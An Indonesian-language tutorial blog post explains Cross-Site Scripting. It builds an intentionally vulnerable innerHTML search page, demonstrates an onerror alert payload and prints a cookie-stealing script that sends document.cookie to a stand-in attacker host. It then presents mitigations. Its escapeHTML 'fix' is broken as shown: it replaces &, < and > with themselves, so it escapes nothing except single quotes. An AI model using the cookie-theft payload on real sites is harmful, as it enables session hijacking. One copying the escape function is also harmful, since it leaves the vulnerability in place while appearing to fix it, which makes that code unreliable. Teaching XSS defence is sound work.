Pernahkah kamu mengklik sebuah link di internet, lalu tiba-tiba muncul pop-up aneh atau akunmu tiba-tiba diakses oleh orang lain? Salah satu penyebab paling umum dari kejadian seperti ini adalah serangan Cross-Site Scripting, atau yang lebih dikenal dengan singkatan XSS.

XSS adalah salah satu jenis kerentanan keamanan web yang paling sering ditemukan dan paling berbahaya. Menurut laporan OWASP (Open Web Application Security Project), XSS secara konsisten masuk dalam daftar 10 kerentanan web teratas selama bertahun-tahun. Menariknya, serangan ini tidak menyerang server secara langsung, melainkan menyerang pengguna yang mengunjungi website tersebut.

Dalam artikel ini, saya akan menjelaskan apa itu XSS, bagaimana cara kerjanya, dan yang paling menarik: saya akan melakukan eksperimen langsung untuk mendemonstrasikan serangan XSS serta cara mengatasinya.

Apa Itu Cross-Site Scripting (XSS)?

Cross-Site Scripting (XSS) adalah serangan keamanan di mana penyerang berhasil menyisipkan kode JavaScript berbahaya ke dalam halaman web yang kemudian dieksekusi oleh browser korban. Singkatnya, penyerang "menitipkan" script jahat di dalam website yang kamu percaya, lalu script tersebut berjalan tanpa kamu sadari.

Ada tiga jenis utama XSS:

  • Stored XSS — Script jahat disimpan di database server dan muncul setiap kali halaman diakses.
  • Reflected XSS — Script langsung dipantulkan dari input pengguna ke halaman tanpa disimpan.
  • DOM-Based XSS — Serangan terjadi sepenuhnya di sisi klien melalui manipulasi DOM browser.

Eksperimen: Demonstrasi Serangan XSS

Untuk memahami XSS secara mendalam, saya membuat sebuah halaman web sederhana yang mensimulasikan website dengan kolom pencarian. Website ini sengaja dibuat rentan terhadap XSS agar kita bisa melihat langsung bagaimana serangan bekerja.

Alat yang dibutuhkan: Hanya browser web (Chrome/Firefox) dan teks editor.

Langkah 1 — Buat Halaman yang Rentan

Buat file xss_rentan.html dengan kode berikut:

<!DOCTYPE html>
<html>
<head><title>Demo XSS</title></head>
<body>
  <h2>Kolom Pencarian</h2>
  <input type="text" id="search" placeholder="Cari sesuatu...">
  <button onclick="cari()">Cari</button>
  <div id="hasil"></div>
  <script>
    function cari() {
      var input = document.getElementById('search').value;
      // BAHAYA: langsung masukkan ke innerHTML tanpa filter!
      document.getElementById('hasil').innerHTML = 'Hasil pencarian: ' + input;
    }
  </script>
</body>
</html>

Langkah 2 — Lakukan Serangan XSS

Setelah membuka file di browser, saya memasukkan payload XSS berikut ke dalam kolom pencarian:

<img src=x onerror=alert('XSS Berhasil!')>

Hasilnya: Browser langsung mengeksekusi script — muncul gambar rusak dan event onerror terpicu. Dalam skenario nyata, penyerang tidak hanya menampilkan pop-up, tetapi bisa mencuri cookie, mengarahkan ke halaman palsu, atau merekam semua ketikan korban.

Contoh payload yang lebih berbahaya:

<script>fetch('https://penyerang.com/steal?c=' + document.cookie)</script>

Cara Mencegah Serangan XSS

Kabar baiknya, XSS bisa dicegah dengan cukup mudah. Berikut langkah-langkah mitigasi yang saya terapkan:

1. Gunakan textContent, Bukan innerHTML

Ini adalah perbaikan paling sederhana dan paling efektif:

// ❌ BERBAHAYA
document.getElementById('hasil').innerHTML = 'Hasil: ' + input;
// ✅ AMAN
document.getElementById('hasil').textContent = 'Hasil: ' + input;

Dengan textContent, browser tidak akan mengeksekusi kode apapun. Input dari pengguna diperlakukan sebagai teks biasa, bukan kode HTML atau JavaScript.

2. Sanitasi Input dengan Fungsi Escape

Jika kamu memang perlu menggunakan innerHTML, gunakan fungsi sanitasi:

function escapeHTML(str) {
  return str
    .replace(/&/g, '&')
    .replace(/</g, '<')
    .replace(/>/g, '>')
    .replace(/"/g, '"')
    .replace(/'/g, '&#x27;');
}
// Penggunaan:
document.getElementById('hasil').innerHTML = 'Hasil: ' + escapeHTML(input);

3. Gunakan Content Security Policy (CSP)

CSP adalah header HTTP yang memberitahu browser script mana yang boleh dijalankan:

<meta http-equiv="Content-Security-Policy"
  content="default-src 'self'; script-src 'self'">

Hasil dan Analisis Eksperimen

Setelah menerapkan ketiga metode mitigasi, saya mengulangi serangan XSS yang sama. Hasilnya:

  • Dengan textContent: Script tidak dieksekusi. Output hanya menampilkan teks literal dari payload.
  • Dengan escapeHTML: Karakter <, >, dan & diubah menjadi entitas HTML sehingga browser menampilkannya sebagai teks.
  • Dengan CSP: Browser menolak menjalankan script inline dan mencatat peringatan di konsol developer.

Kesimpulan

Cross-Site Scripting (XSS) adalah ancaman nyata yang bisa berdampak serius bagi pengguna website: mulai dari pencurian akun, penipuan, hingga pengambilalihan sesi login. Namun melalui eksperimen ini, kita juga membuktikan bahwa mencegah XSS bukanlah hal yang sulit.

Tiga hal paling penting yang perlu diingat:

  1. Jangan pernah langsung memasukkan input pengguna ke dalam innerHTML tanpa filter.
  2. Selalu sanitasi input dengan escapeHTML atau gunakan textContent.
  3. Terapkan Content Security Policy sebagai lapisan keamanan tambahan.

Di era digital ini, pemahaman tentang keamanan web bukan hanya tugas developer senior. Siapa pun yang terlibat dalam pembuatan website perlu memahami ancaman dasar seperti XSS. Karena pada akhirnya, keamanan yang baik dimulai dari kebiasaan coding yang bertanggung jawab.

Referensi